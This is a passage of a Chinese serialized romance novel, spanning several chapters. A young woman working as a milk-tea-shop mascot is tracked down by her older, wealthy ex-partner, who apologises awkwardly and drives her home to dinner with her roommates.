除了小葱,还有蒜苗、薄荷、香菜,以及路边绿化带偷来的一截鸭掌木,奶茶杯水培一周后底端有白色根须冒出。 休息日,周灵蕴几乎一整天都蹲在阳台,给绿植浇水,小菜施肥,同学群分享种植经验。 手指轻拂过湿润的土壤表面,没有落地玻璃的阻挡,阳光直透,她感觉皮肤被晒得微微痒痛,起身躲到客厅玻璃门后,坐在沙发上,发现自己好像很久没哭了。 脱离圆心,起初的惶恐过去,世界以另一种方式重新在她面前展开。 是一粒种子破土而出的力量,一句文案引发的思考、共鸣,一个镜头捕捉到的欢乐瞬间,还有她们,朋友并肩劳作时无声的陪伴…… 开始是有点手忙脚乱。 但此刻所拥有的,每一寸都属于自己,她正在亲手搭建的,是一个以“周灵蕴”为圆心的新世界。 只是,在幽夜时分,世界悄悄翻身后,心的某个角落,夜昙般的女人会出现在梦里。 梦的内容很多很杂,有老家山上已经垮掉的土房子,有山下姜悯家自建的小别墅,雨总也不停,门前那条柏油路湿漉漉…… 还有梦真递过来的一袋肉包子,塑料口袋内侧挂满小水珠,吸气能闻到温温的包子香。 手机聊天框始终安静,周灵蕴每天早上坐地铁去上班的时候,都会忍不住打开看一眼。 起初,她担心被干扰,把姜悯的置顶取消并设置成免打扰,跟一些无关紧要的群聊天,比如业主群,宠物求助群什么的收放在一起。 但这样几天之后,她发现完全多此一举。 姜悯根本没有给她发消息。于是她把姜悯放出来,右滑不显示聊天。 开始,周灵蕴还会从通讯录列表里找,回看以前跟姜悯的聊天记录,之后频率逐渐减少,再后来可以完全不看了。 被姜悯从她的房子里赶出来,是第十八天还是十九天的时候,周灵蕴看到她。 隔着条马路。 奶茶店位置很好,市中心的美食街,人多车也多。 周灵蕴不知道怎么回事,莫名感到心悸。 因为是店里最高的一个,她经常装扮成品牌吉祥物,穿厚重玩偶服,工作内容是在街上发传单,邀请路人试喝新品,以及跟隔壁奶茶店的吉祥物打架。 “我有点不舒服。”周灵蕴刚跟隔壁吉祥物结束一场大战,她回到店门口,摘下头套,手隔着玩偶服,揉揉自己心口,“不知道是不是咖啡喝太多。” 赵圆顿时紧张,从店里跑出来,兜里掏出张纸巾,踮脚给她擦汗。 “你不是说,你从小喝茶,咖啡因耐受很强吗?热的吧,玩偶服太厚了。” “热。”周灵蕴弯腰,配合她手。 有发小扇子的大姐从旁经过,扇面上印的附近肛肠医院的广告,赵圆去要了两把,跑回来给周灵蕴扇风,“歇会儿歇会儿,别中暑了。” 夏天扮吉祥物很辛苦,但可以多领几十块钱的高温补助,周灵蕴站在店门前,扯着衣领狂扇风,又扒拉扒拉自己完全被汗湿透的刘海,就是这个时候看到姜悯的。 第一反应是,那个位置肯定要被贴罚单。 周灵蕴每天空闲时候的乐趣,就是看马路对面被贴罚单后抱头哀嚎的车主。 姜悯肯定要被贴罚单了。 周灵蕴幸灾乐祸。 也是这个时候,周灵蕴发现,她竟然一点不难过。 她不知道她们以后会怎么样,和好,还是继续这种绝不会将彼此遗忘,但也绝不靠近半步的的关系。 周灵蕴看到姜悯。 穿一条很夏天的碎花吊带裙,为方便开车踩平底鞋,鲨鱼夹知性但不安全,因此头发是披散着的,柔柔垂挂在肩膀。 姐还是那么漂亮。 旁边女生“欸”一声,“头发。” 周灵蕴顺势错开视线,低头配合,“头发怎么了?” “挂了个白色的小毛团。”赵圆说应该是玩偶服漏棉,伸手给她揪下来。 姜悯站在街对面,沉默看着这一幕。 车缓缓驶过喧闹的美食街,夏日阳光透过树荫,前车窗玻璃上一片溅落的碎金,她不知道自己为什么要来这里。 她知道周灵蕴打工的奶茶店,却不知道周灵蕴究竟在哪家店,全城几十家店铺,她按照距离远近排序,一周前开始地毯式搜索,直到今天。 她不知道自己想看到什么。内心深处讲,她是盼着她好的。但别太好。苦呢,苦当然,打工哪有不苦的。也别太苦。 对周灵蕴,她情感复杂。 她或许只是想确认她还存在于此,她们还站在同一片天空下,呼吸着同一座城市的空气。 然后,她看到了。 隔着条车水马龙的街。 奶茶店门前,穿厚重滑稽的玩偶服,周灵蕴摘下头套,接过旁边女生递来的水,并屈膝配合对方帮忙擦汗的手。 唇瓣开合,听不清说的什么,二人相视,随后绽开笑容。 眼下情形,无关姜悯曾为她设想过的,任何一种轻松体面的未来。 可周灵蕴笑得这么开心。那种肆意张扬的明媚的笑,姜悯从未见过。 继而,被一种更为尖锐陌生的情绪刺中,并非预想中的心疼或懊悔,姜悯不由屏住呼吸。 心神巨震。 女生眼底的慕恋太过扎眼。 姜悯以前从来没想过,周灵蕴可能会喜欢上别人。或者说,她没想过,周灵蕴的生活里,会出现另一个能让她露出如此真实笑容,能如此亲密陪伴她的人。 她太自信,她一直以为,她就是周灵蕴的全世界了。超越时间空间,各种形式上的。 现在她亲眼看到,曾经只围绕着她旋转的小星球,不仅没有在宇宙中迷失崩解,反而找到了新的,可以与之产生引力,分享轨道的人。 前所未有的恐慌感。因为失去,因为被取代的可能性。 姜悯清楚看到,周灵蕴目光曾掠过街面,与她的视线有过短暂交汇。 对方眼神却没有掀起任何波澜,像看街边任何一个无关紧要的路人,平静不着痕迹滑开,与旁边女生短暂交流后,步履如常转身回到店中。 动作流畅,没有丝毫迟疑,完美演绎了一场视而不见。 所以,她们之间,曾紧密缠绕的一切,就被如此轻易的彻底的格式化了吗? 滑动鼠标,指令生效,所有数据消失无踪。 姜悯转身,几乎逃也似回到自己车上,车门“砰”一声关闭,将外面世界的喧嚣短暂隔绝。 最初的,冰锥刺入般的恐慌感还在胸腔嗡嗡作响,此刻另一种更为炙热汹涌的情绪涌来。 愤怒、不甘、焦灼。 凭什么?周灵蕴凭什么可以那么干脆利落地转身?凭什么能在这么短的时间内,好像什么都没发生过,投入新的生活。 凭什么…… 姜悯握拳狠砸一下方向盘,车辆一声突兀鸣响,引来行人侧目。她不在乎。 周灵蕴真就一点也不想她吗?哪怕怨恨。 必须做点什么。 别无选择,姜悯解锁手机,手指在屏幕悬停许久,终于还是主动给周灵蕴发送消息。 [可以聊聊吗?] 这是这么久以来,姜悯首次放下姿态,虚弱请求。 发送成功,聊天框一切如常,周灵蕴没有拉黑删除,沉寂的心灯微弱燃起火苗,姜悯双手死死攥着手机。 然后是漫长的等待。 时间分秒流走,手机屏幕暗了又亮,亮了又暗。 不再有求必应,周灵蕴选择搁置,无视。石沉大海,连一丝涟漪都不曾激起。 姜悯此刻终于绝望意识到,她不再是周灵蕴的优先项。 第103章 她被周灵蕴讨厌了 漠视。 委屈的控诉也好, 尖锐的指责也罢,视而不见是一种比任何激烈的言辞都更为彻底决绝的回应。 它无声宣告一个事实:你,你的一切, 包括你的示弱求和,都不值得我耗费情绪。 它甚至传递出一种傲慢。 你不重要了。 像路边一条狗, 无人在意它因何狂吠。 被刻意忽略, 比直接的拒绝更令人难堪。姜悯有准备的,根据过去她们的相处模式, 她准备好迎接愤怒,准备了长篇大论的解释,甚至准备好跟周灵蕴吵架…… 却唯独没有准备好,如何面对这片死寂。 她好像能透过手机屏幕, 看到周灵蕴解锁手机,视线触及消息列表那个红色的小点,略感到讶异而微微挑眉。 获取到意料之外的内容,周灵蕴却只是平静切换页面,关闭对话框后把手机揣进裤兜, 专注她眼前的生活, 以及她身边……那些能让她露出真实笑容的朋友。 她毫不吝啬, 向周围所有人展示她的亲和。 包括无关紧要的路人。 想象加剧恐惧, 姜悯握着手机,感觉身体的热量正被点点吸走。 八月酷暑,她遍体生寒。 她习惯性要发作, 像个小孩子,一旦有需求得不到满足,就坐地大哭,最激烈的反应逼迫全世界妥协。 可她不能。 周灵蕴不会再像从前那样, 不厌其烦来哄,不知疲倦去接,小心翼翼不让她情绪掉落,永远耐性十足,拍着她后背哄…… 那个她曾以为是永恒的,包容的承接者,终于忍无可忍,抽身离去。 首次,姜悯无比清晰意识到,任性的代价可能是彻底的失去。 她当然知道该怎么做。什么反应,什么情绪是对方可以接受的,什么样的姿态是得体的。 在跟周灵蕴的关系之外,她是个在社会规则里游刃有余的正常的成年人。她绝对正常,甚至优秀。 她只是被周灵蕴惯坏了。 宠溺的源头切断,像被扔进荒野的孩童,手握曾无往不利的玩具,却发现四周空无一人。 姜悯没办法了,她真没办法了。 车内平复,等待满腔酸楚愤然缓缓褪去,她深吸一口气,下定决心,推开车门。 喧闹市声,各类小食混合的浓郁气味,行道树浓荫下仍沸滚的空气,瞬间包裹,人像被缠住保鲜膜塞进蒸笼,毛孔堵塞,不能呼吸。 适应几秒,姜悯抬步,朝对街周灵蕴打工的那家奶茶店走去。 她脚步勉强称得上镇定,这是她目前唯一能想到,不显突兀再次靠近周灵蕴,或能产生一丝微弱交集的方式。 买一杯柠檬茶。 推开奶茶店的玻璃门,强劲冷气混合甜腻奶茶香扑面而来,驱散周身燥热。姜悯一眼就看到周灵蕴。 她脱下厚重的玩偶服,坐在店角落的高脚凳休息,背微微弓着,额前刘海被汗浸湿,黏连成几绺贴在光洁的额头。 她正低头摆弄手指,侧脸皮肤在室内明亮灯光下呈现出光滑的暖玉质感。 她样子有点累,神情专注平静。 姜悯感觉陌生。 好久不见了。 真是好久不见。 还是爱她,很爱,再见心动不减,经时间和距离的发酵,胸腔沸涌的爱意,较平日,陡增些酸苦。 强迫自己移开视线,姜悯走到点单台前,两只眼睛饮品单上转来转去,抓抓脑袋,好像不识字。 “您好,想喝点什么?”店员热情招呼。 姜悯手指随意一指,“柠檬茶。” “这边可以扫码下单。”店员举手示意。 姜悯觉得这点很不合理,她人都到跟前了凭什么还让她扫码,不就两句话的事。 瞄了眼里间周灵蕴,不想给人留下个喜欢惹是生非的坏印象,姜悯老老实实,扫码后临窗的空位上坐。 柠檬茶少糖,正常冰,备注堂食,付款后等待叫号取餐,姜悯视线又不受控制飘向角落。 周灵蕴有注意到她吗? 她音量不大,但也不至于一点听不见,还是在走神,太累了吧。 这么热的天,穿那么厚的玩偶服,不会中暑吧? 姜悯外卖了几盒解暑药和整箱电解质水。 十分钟后,店员叫号,姜悯放下手机快速起身,许是做贼心虚,再开口,声音略显干涩。 “那个,给她吧。” 店员疑惑抬头。 姜悯飞快指了下角落里的周灵蕴,“这个给她喝吧。” 店员茫然,旁边整理物料的赵圆凑来,“女士,您还有什么需求吗?” 尴尬得脚趾抠低,姜悯抿唇,手指再次横向周灵蕴,声音更低了,“我看她太辛苦了,给她喝吧。” 这边动静终于引起周灵蕴的注意。 她抬头,半张着嘴,面上满是劳作后的茫然和被打扰的疑惑。 她下意识抬手,扒拉了下额前的碎发,目光穿过不大的店铺空间,落在姜悯身上。 四目相对。 没有预想中的惊慌躲避,周灵蕴眼底起初的讶异过去,只剩下疑惑。 好像完全不认识,只是在看一个行为古怪的普通顾客。 姜悯心一点点沉下去。 柠檬茶放置在取餐台,杯壁凝结出水珠,她视线飘忽了会儿,想起周灵蕴泪湿的脸。 多少次,周灵蕴情绪崩溃,高声喊叫,她只是冷冷看着,即便有交流,她也只是对她的失控表示不解。 风水轮流转,现在轮到她了。 姜悯没有去拿,也没有离开,她一动不动站在那,面色呆板,与店内轻快忙碌的氛围格格不入。 她不敢走过去跟周灵蕴说话,甚至不敢直视对方的眼睛。 怕什么?怕被驱逐,被指责,怕自己的出现真的只是令人厌烦的打扰。 小心翼翼,权衡再三,这感觉对姜悯来说陌生又憋屈。 直到下一位点单的客人挤来台前,姜悯才不得不让出位置。 “你认识吗?”赵圆回头,跟周灵蕴小声说话。 周灵蕴“嗯”一声,没有更多解释。她又在里面坐了会儿,目光在姜悯和那杯孤零零的柠檬茶之间转了几个来回。 最终,她起身,跟店长打声招呼,拍拍裤子朝姜悯走过去。 她步伐很稳,面色如常,面对昔日爱人,态度甚至比对待普通同学还要平淡几分。 彻底卸下了情感负累后的松弛。 她在姜悯面前站定,目光微垂。 姜悯感到喉咙发紧,之前排练好的体面话脑袋里跑干净,她张张嘴,说了句废话。 “这就是你打工的奶茶店啊……” 周灵蕴还是“嗯”。 身体的累是一方面,对姜悯,至少此刻,她表达欲尽失。 抬手,鬓边碎发勾去耳后,姜悯飞快看了眼窗外,生硬补充,“我出来办事,碰巧遇到。” 然后她看到交警了,正往她车窗上贴罚单。 她“欸”一嗓,软凳上起身。 可已经被贴了,现在说什么也来不及了,于是又泄气坐回去,盯着交警头顶的大盖帽,生气鼓脸。 真是屋漏偏逢连夜雨。 周灵蕴那瞬间有点想笑,还好忍住了。 早说了会被贴的嘛。 握拳抵腮,周灵蕴轻咳一声,遮掩笑意,回神快速摆了下手,“你点的饮料,我去帮你拿过来吧。” “不!”姜悯急切出声。她坐在临窗的矮桌边,比周灵蕴矮了大半截,高低位颠倒,卑微得不像话了。 “其实我看到你了,在街对面了,我担心你中暑,我专门给你点的。” 周灵蕴当然知道。 她说“谢谢”,“但不用了,店里的饮品我经常在喝。” “哦。”是,必然的,姜悯点头,她早应该想到的。 空气再次陷入令人难堪的沉默。 长吸一口气,周灵蕴还是把饮料给姜悯端过来了,“店里的新品,你尝尝吧,挺好喝的。” 她歇会儿还得穿上玩偶服出去拉客,不好久留,点点头,“我走了,你自便吧。” “那你几点下班?”姜悯追问。 周灵蕴抬腕看表,“还有两个小时。” “好的。”姜悯决定等,“我有些话要跟你说,可以吗?” 周灵蕴略一抬眼,思索两秒,“行。” 基本礼貌。 得到肯定答案,神经放松不少,姜悯安静坐在窗边,默默看着周灵蕴下班前的忙碌。 她过得蛮好的,至少在精神状态这方面,跟店里的同事轻松说笑,分享外卖单子上那些稀奇古怪的备注,比如“奶茶不要茶”,“多加冰但请别太凉”,甚至还有最近网上很流行的抽象鸭头文学…… 几颗脑袋凑在一起嘀咕,然后哄笑。 她笑容自然,眼神明亮,姜悯后来有些不敢看了。 她们分手之前,半年多时间,周灵蕴没这么笑过。 外卖的解暑药和电解质水送到,姜悯签收后又厚着脸皮走到柜台前,“这些你拿着吧,分享给同事们,也许能用上。” 休息够,周灵蕴又要出去跟隔壁奶茶店的吉祥物打架,隔壁的已经到了,正在店外挑衅。 没空纠缠,看着那满满一袋东西,周灵蕴匆匆点头应好,拉上赵圆出去。赵圆负责给她拍视频,积攒素材剪辑后发网上。 姜悯在之后的两个小时,慢慢意识到她已经是个彻头彻尾的局外人,被完全排除在周灵蕴此刻生活的那片热闹和鲜活之外。 度秒如年,终于等到周灵蕴跟同事交班,走进后面的员工休息室。 两分钟后,她换回自己的衣服走出来。 简单的白T和薄款休闲裤,头发重新扎成了利落的马尾,她说 “久等了”。 语气商务。 姜悯起身,随她走出店铺,迫不及待道出心中疑惑,“我之前给你发消息,你没看到吗?” “啊?” 周灵蕴微微偏了下头,脸上真实的茫然,“什么时候。” 她有看手机,下班前专门拿出来看了眼,姜悯有给她发消息吗? 周灵蕴又把手机拿出来。 蛋挞说买了蛋糕,让她下班回来一起吃,梦真发了张菜市场的卤肉摊子照片,问她有没有想吃的,没等到回复,说买了猪耳朵和卤水豆腐。 “没有啊——”周灵蕴真迷糊了,“你确定你发了吗?” “我发了!”姜悯从包里翻出手机,展示聊天框。 周灵蕴还是她的置顶,备注也没变过。 [小猫] “你看啊,你看!”姜悯急切。 意味深长一声“哦”,周灵蕴想起来了,她近乎残忍的坦诚,“我忘了,我把你设置成免打扰,折叠起来了。” 话音落下,空气仿佛凝固。 比任何激烈的拒绝和斥责都更具杀伤力,周灵蕴对她,不再有任何情绪化对抗。 免打扰,折叠聊天,冷漠的功能性处置。 她被周灵蕴讨厌了,跟总在因为物业和停车位吵架的业主群成为邻居。 地位甚至不如管家。 第104章 好好教训教训她 赵圆一直觉得周灵蕴这人挺矛盾的。 学生之间, 简单高效比较好判断出贫富差距的是电子产品。手机手表还有电脑啥的。 赵圆对周灵蕴的初印象,是气质沉稳话少的低调富家女,刻板印象或一点小小的自卑吧, 赵圆开始不太敢跟她接触。 不过大家一个宿舍住着,日常生活中总能搭上几句, 赵圆发现周灵蕴比她想象的好相处, 也可能是她一开始就给人扣帽子,才会有后来那么强烈的反差感。 周灵蕴很随和, 而且节俭。 她会认真计算食堂哪个窗口的套餐性价比最高,会囤积优惠券,甚至网上买几只水性笔都要几家店铺互相比价。 尤其是某夕夕,她买完发现同款商品有更便宜的刷新在页面, 拍着大腿欢呼几声,就会立即把上一单退掉。 她对“性价比”有着超乎寻常的执着。接触多了,赵圆不免对她好奇,想了解她,知道她在学校外是个什么样的人。 所以, 当周灵蕴第一次主动询问起打工事宜的时候, 赵圆承认自己对她有点过分热情了。 其实她以前带给室友的奶茶, 好些是店里打烊时卖不完剩的。 只有给周灵蕴的…… 欸怎么说呢, 即便是剩,也不是最下面沉淀物最厚的那一层。 另外,店里不是每天都有剩, 但只要周灵蕴想喝,她想方设法也弄到。 后来,当周灵蕴提出想一起打暑假工时,赵圆实实在在惊讶到了。她不缺这个钱, 何必来吃这个苦? 她原以为那只是大小姐一时兴起的玩笑话。 但周灵蕴异常认真。 她很聪明,学东西快,做事也认真,雪克杯从早到晚摇得“哐哐”响,穿着厚重的玩偶服三伏天蹦蹦跳跳也毫无怨言。 赵圆越来越看不懂周灵蕴了。 日常相处,不当心,里面掺杂了一丝她自己都未曾察觉,想要靠近和了解的微妙心思。 她会帮她多带一份早餐,小心翼翼 装作漫不经心,送出捏了一路的卤蛋;她会在她感到疲倦的时候,主动揽下她的剩余工作,并调侃自己天生牛马。 她会心疼她,主动给她擦汗扇风,然后趁机看她,似无意识,手指触碰在她汗湿的鬓角那小块细腻白皙的皮肤…… 少女心事像初夏的藤蔓,悄无声息,延展出细小的触须。 周灵蕴大概有所察觉,某日午休,街对面嗦螺蛳粉的时候,突然告诉她: ——“你知道吗?其实我之前一直在给富婆当情妇,我是被包养的。” ——“不过我们最近吵架了,我被富婆扫地出门了。” 周灵蕴说着,耸了下肩。 暗恋无疾而终。 赵圆心情复杂。 其中更多细节,默认故事不可告人,赵圆没再打听,周灵蕴也没继续往下讲。 夜里洗完澡躺床上,赵圆复盘,有读懂周灵蕴的潜台词。 她在提醒她,劝她及时止损。 至于“情妇”这个词,是玩笑,还是她真的身不由己呢? 大概都有吧。辗转难眠,那天晚上赵圆不由想了很多。 不过,周灵蕴的敲打确实有起作用。 生长环境或个性使然,赵圆一直很确定自己对身边种种人和事的“实用性”,权衡利弊是生存本能。 而且!而且! 即便她跟周灵蕴真心相爱,也不能在一起! XXX女士,A市豪门,175cm前凸后翘顶级模特身材,还长了一张颠倒众生的脸。 她天生一双勾人狐狸眼,眼尾上挑,颦笑间尽是风情,鼻梁秀挺,唇红润饱满,为人十分肆意张扬,腮边小痣更添妖艳妩媚。 她一手遮天,势力遍布A市,毫不夸张,只要她一声令下,便有千军万马从天而降。 而周灵蕴,平平无奇乡下妹一枚。 天壤之别的两个人,任谁也不会把她们联系到一起。 偏偏,命运之手,搅弄风云。 那日,XXX女士撂下狠话,“离了我,你不过是个没钱没势的乡下妹,你且去吧,我看你能坚持多久。” 呵,XXX女士一声冷笑,笃定周灵蕴过不了几天就会乖乖回到她身边。 可有句老话怎么说,卤水点豆腐一物降一物,从来算无遗策,华尔街叱咤风云的XXX女士,竟在周灵蕴这条小阴沟里翻了船。 幽夜时分,逼仄小巷,女人赤红着眼将周灵蕴禁锢在臂弯,恶狠狠出声,“周灵蕴,你很有本领。” …… 咂吧咂吧嘴,赵圆床上翻个身,脑补完毕。 她迫不及待想看搅弄风云姐追妻火葬场了。 另有句老话怎么说,天天磕CP,越磕越年轻。 谈恋爱哪有磕CP有意思。 想开,赵圆心态端正许多,对周灵蕴仍有欣赏,但对搅弄风云姐的出场,期待是与日俱增。 终于,她来了。 姐很漂亮,性感成熟,没有千军万马,当然也没有175cm,她是个正常人。 所以,她没有把周灵蕴禁锢在臂弯,微红的眼底流露出的,更多是卑微小心。 周灵蕴也不是真的冷淡。 女人推门而入的瞬间,似是早有所料,周灵蕴轻而缓呵出一口气,背脊几不可察挺直,面颊因炎热和疲惫而产生的柔软红晕也迅速褪去。 她神经紧绷,略有些戒备,在刻意维持自己的平静。 周灵蕴其实挺随和的,像年糕,温软弹牙。 即便是陌生人,她也不会像此刻表现出的那般冷漠疏离。 但在搅弄风云姐面前,她虽还是年糕,却是刚从冰箱急冻层拿出来的硬年糕。 脑门上砸,一砸一个大包。 “搅弄风云姐来了?”休息室换衣服,赵圆问。 周灵蕴惊讶,“这么明显吗?” 赵圆说太明显了,“你太凶了,你平时不这样的,上次店里,抽烟那男的,你都是好声好气哄出去的。” 周灵蕴“哈哈”两声。 这才过去多久,也没什么所谓的忘情水可以找来喝喝,她哪有那么快走出来。 她还不能做到真正的冷漠和忘记。 姜悯太特殊,隔着条喧嚷的街,只匆匆一瞥她便心神大乱,所以她必须保持十二分警惕,紧绷起全身尖刺,用来抵抗那个随时可能让自己再次失控的源头。 “那我们改日?”赵圆问。 她们昨天约好,今天下班去吃附近一家很火的干锅鸡。 周灵蕴点头,“那下次我请客。” 二人店门口挥手说“拜拜”,赵圆搭地铁,周灵蕴上了姜悯的车。 “你想吃东西吗?”姜悯系好安全带,没什么好办法,还是像以前那样,想带周灵蕴去吃自己最近应酬发现的好吃的店。 “你不是有话要跟我说吗?”周灵蕴低垂着脑袋,手机搁在大腿上,无聊翻来翻去。 “我不吃了,蛋挞说买了蛋糕,梦真也买了卤菜,答应一起吃的。如果要在外面跟同事或同事聚餐,我都会提前一天说,不然菜做多了吃不完,二顿不好处理。” 周灵蕴解释得非常详细。 “可是那家店真的很好吃,是你以前从来没有吃过的。”姜悯语气有点着急了。 改不掉啊,江山易改本性难移,她的霸道强势是与生俱来。 但她确实有在改了,并非命令的口吻,话音中更多央求。软绵绵的,听起来甚至有点委屈。 周灵蕴脸上露出“果然如此”的表情。 果然,还是没怎么变。 姜悯瞬间读懂,知错地低下脑袋。 “欸——”周灵蕴有点烦躁地搓搓额头。 “我真的不想去,我身上全是汗,我想快点回家洗澡,真的。你赶紧说吧。” “那我带你回去洗澡。”搅弄风云姐抬起湿漉漉的一双眼,好可怜。 周灵蕴飞快皱了一下眉头,“回去,回哪里去。” “你的家,我们的家。”搅弄风云姐快要哭出来了。 周灵蕴干笑两声。 搅弄风云姐真的快哭了。 “你有话快说吧,再晚些,晚高峰地铁我只能站回去了。”周灵蕴十分不耐催促道。 “那我送你啊。”搅弄风云姐如抓到救命稻草,倏地抬头,眼神少见的柔软湿润。 “有话快说,我很忙。”周灵蕴别开脸,不看。 搅弄风云姐搅无可搅,两只手无奈从方向盘挪到大腿,低头,手指细细抠着裙子上的小碎花图案。 她嗫嚅着,“我这次来是专门给你道歉的。” 早有所料,周灵蕴“哦”一声,“你道。” “对不起。”姜悯老老实实。 车内空气凝滞。 姜悯道过歉吗?在此之前。周灵蕴细想,似乎没有。 终于,姜悯跟她道歉了,周灵蕴却更紧抱住双臂,视线投向窗外,用后脑勺明确传达“我不接受”。 她从来没要求姜悯道歉。 她不需要她道歉,这件事也没办法只通过道歉解决。 至于具体该采取什么方式…… 怎么还要她手把手教? “对不起,猫猫——”姜悯轻轻拽了拽周灵蕴的袖子。 周灵蕴手臂动了下,挣脱。 她差点笑出声,是脑袋里忽然冒出网上看过的某影视剧剪辑。 女主与男主并肩竖躺在床,闹别扭,女主卑微求和,旁边一个劲儿扒拉,男主冷着脸,反手给了她一拐子。 有病吧! 周灵蕴手抓了抓脸,还好忍住了。 恰在此时,大腿上手机响了,周灵蕴正出神想着那些有的没的,冷不丁吓一激灵。 她接起电话,蛋挞神人,“刚突然想起个事情,我要问你。” 周灵蕴神经再次紧绷,“昂”一嗓。 “姜大炮找你了吗?”蛋挞直问道。 “她……”周灵蕴卡住了。 “下班没?”蛋挞问。 周灵蕴“嗯”了声。 蛋挞冷笑,“这人现在不会就在你旁边吧?” 周灵蕴往旁边瞄了眼。 姜悯双肩微耸,万分紧张。 “把她带过来,我要好好教训教训她。”蛋挞发话—— 作者有话说:笑 第105章 这世上不是只有一只小…… “是否有些不妥?”周灵蕴想说, 她还欠着姜悯不少钱呢。 毕竟吃人嘴短,拿人手短。 她瞻前顾后的坏毛病也不是一天两天了。 周灵蕴并未明说,但同为摸爬滚打上来没钱没势的乡下妹, 蛋挞太清楚她心里那点小九九。 “那你搬回去呗,你继续当她的奴隶, 当她的小童养媳, 小性感蕾丝内裤,人家放什么屁你都接着。” 蛋挞喊“姐”, “我叫你姐行不行,这是两码事好吗?往后日子还长着,你这就舍不得,那以后还要不要过了?” “哎呀你真是——”周灵蕴手使劲揉了下眼睛, 担心被姜悯偷听,趁机捂住听筒,“我不是那种风格。” “你什么风格?”蛋挞自顾自继续,“哦你是纯棉内裤,不好意思说错了, 温柔妥帖, 仔细包裹姜老板每一寸饱满的臀部肌肤。” 周灵蕴被她逗得笑不停。 蛋挞嘴厉害的, 难怪直播间人气高, 她很会整活。 “行我知道了。”周灵蕴绷着脸装严肃。 “快点,别耽误了,真真刚下楼, 去附近小超市买菜,打算招待你们呢。”蛋挞最后道。 “不是早就买好了菜?”周灵蕴迷糊。 “家里是不是要多张嘴吃饭嘛!”蛋挞几乎是咆哮了。 周灵蕴“哦哦”点头。 她心中微暖,“好我明白了。” 周灵蕴挂断电话,转过脸去, 瞧见一旁搅弄风云姐耳朵竖得高高,大眼睛定定瞧着,像只懵懂的小马驹。 周灵蕴发现自己还是很难不被她吸引。姜悯是个精明的生意人,但她们在一起这么多年,姜悯奸猾的一面从未在她面前显露过。 不…… 应该说,姜悯时常都在算计,但她从未试图通过伪装或计谋,从自己身上得到些什么。 她们的每一场对视和言语交锋,只稍联想到姜悯对待外人的刻薄,周灵蕴心中便会不由升起浓浓的感激之情。 姜悯甚至会在她面前流露出一种天然的笨拙的无知。 周围所有人都在说,姜悯没谈过恋爱,也没喜欢过别人,黎双的死对她影响太大了。 她把自己封闭起来,她恐惧交友,她总觉得是自己的错,她很可怜…… 周灵蕴每次听到这些,再看向沙发上捧着酸奶碗对着电视咯咯傻笑的姜悯,会产生一种很奇妙的感觉。 她们相差了十岁,财力、阅历,眼界等姜悯都远超她数倍。 姜悯见多识广,美丽夺目,从不乏追求者。 可姜悯却说只喜欢她。 卑劣的占有欲在她们发生亲密关系时尤盛。 每一次,当周灵蕴居高临下,欣赏她因情动而绯红潋滟,泪光朦胧的脸,心中便会升起一种莫大的近乎战栗的满足感。 喉咙滚动一下,周灵蕴视线顺势往下,凝固在她颈下两根细吊带之间牛奶般嫩滑的肌肤。 再往下……联想到那拥有布丁一样弹软触感的某处,也是顺理成章。 周灵蕴忽然觉得有点热,扭头按下车窗。 灼热气浪扑面而来。 糟糕,失策,反而更热了。 “你觉得闷吗?”姜悯似是毫无察觉,语带关切,手指轻点主控面板,“我把空调温度再调低些?” 周灵蕴默默把车窗升上去。 那股燥热并非来自外界,而是源于内心。 是她在想入非非。 分开半个多月,第一次想。 也就是说,被迫戒色有十九将近二十天。 那很合理啊,这么久没做,想是必然。 毕竟她年少,血气方刚。 “现在呢?”姜悯不知从哪里变出一把檀木扇子,刷地抖开,对着周灵蕴使劲地扇。 有熟悉的香气袅袅飘来鼻端。 周灵蕴侧目,姜悯身体歪斜,扭成一道浪。 而她坐姿端正,视野更高,某处艳冶风情自然一览无余。 这人故意的吧,穿领这么低一条裙子,专门来见她。 周灵蕴掩唇轻咳,试图驱散脑中遐思,“蛋挞催我回去吃饭了。” 她低头解锁手机,屏幕划拉着,准备叫网约车。 姜悯眼尖瞥见,一把拦住,“别呀!花那冤枉钱干嘛?我送你。” 周灵蕴犹犹豫豫,“不用了吧……你送我也要烧油啊,一样的。” 檀木扇啪地一收,姜悯利落发动车子,“地址?” 周灵蕴中控屏给她导航,做得相当顺手。 各怀心思,二人半推半就,到蛋挞家楼下。 就那么巧,从B1上去,跟一楼买菜回来的梦真撞个正着。 电梯门在一楼“叮”声打开,拎超市购物袋的梦真冷不丁一抬头,对上周灵蕴,以及与周灵蕴并肩而立的姜悯,面上闪过惊艳。 跟姜悯有好几年没见了,梦真稍花费一点时间辨认,随后展露笑容,喊“姐姐”。 她现在用的身份证上那个名字是姜悯帮助起的,她对姜悯一直挺有好感。 “真真。”姜悯小幅度挥手。 笑容温和如常,梦真迈入电梯,“我买了好多菜,做饭给你们吃呀。” 周灵蕴自觉伸手去接购物袋,却被对方眼神制止。 傍晚时分,下班的下班,放学的放学,电梯走走停停,不断有人涌入,原本还算宽敞的空间很快变得拥挤起来,三人被推挤到不同的角落。 旁边老太太搭话,问晚上吃啥,梦真柔声回应,周灵蕴盯着不断变化的楼层数字,姜悯则低头研究着自己的鞋尖。 终于捱到目标楼层,三人前后走出电梯。 门缝里照例卡只凉拖鞋,周灵蕴率先走近拉开,把梦真让进去,随后打开鞋柜门,给姜悯找客拖。 内里却空空如也。 周灵蕴愣住,前阵子万玉来玩,不是在楼下买了两双新的,去哪儿了? 她一抬头,瞧见蛋挞蹲在餐桌椅上,两只眼睛瞪着她。 “你们三个住在一起啊。”姜悯好奇探头。 周灵蕴“嗯”了声,想把自己的拖鞋让给姜悯,才刚有动作,蛋挞识破,剧烈一声咳。 “干嘛?”周灵蕴朝她喊口型。 刚电梯里真真不挺和气的,你们两口子能不能先把颗粒度对齐。 “哟,贵客。”蛋挞无视,朝着姜悯喊。 “好久不见呀,蛋挞。”姜悯满脸堆笑,眼睛弯成两道月牙,蛮不好意思的样子,“来得匆忙哦,没带礼物。” “什么礼物不礼物,见外。”蛋挞起身来到门前,两手狂甩,“快快,进来坐。” “拖鞋呢?”周灵蕴问。 蛋挞故作懊恼一拍脑门,“哎呀!刚应该叫真真在楼下捎一双的,要不我现在下去买吧。” 周灵蕴不说话。 倒要看出她能整出什么幺蛾子。 姜悯看着这个,又看看那个,也不说话。 蛋挞低嘶一声,抓后脑勺,“不过眼瞅着快开饭了,不好让你们多等。” 也亏她想得出来,“不行打赤脚吧?啊姜老板,天气这么热,打赤脚凉快,还接地气。” 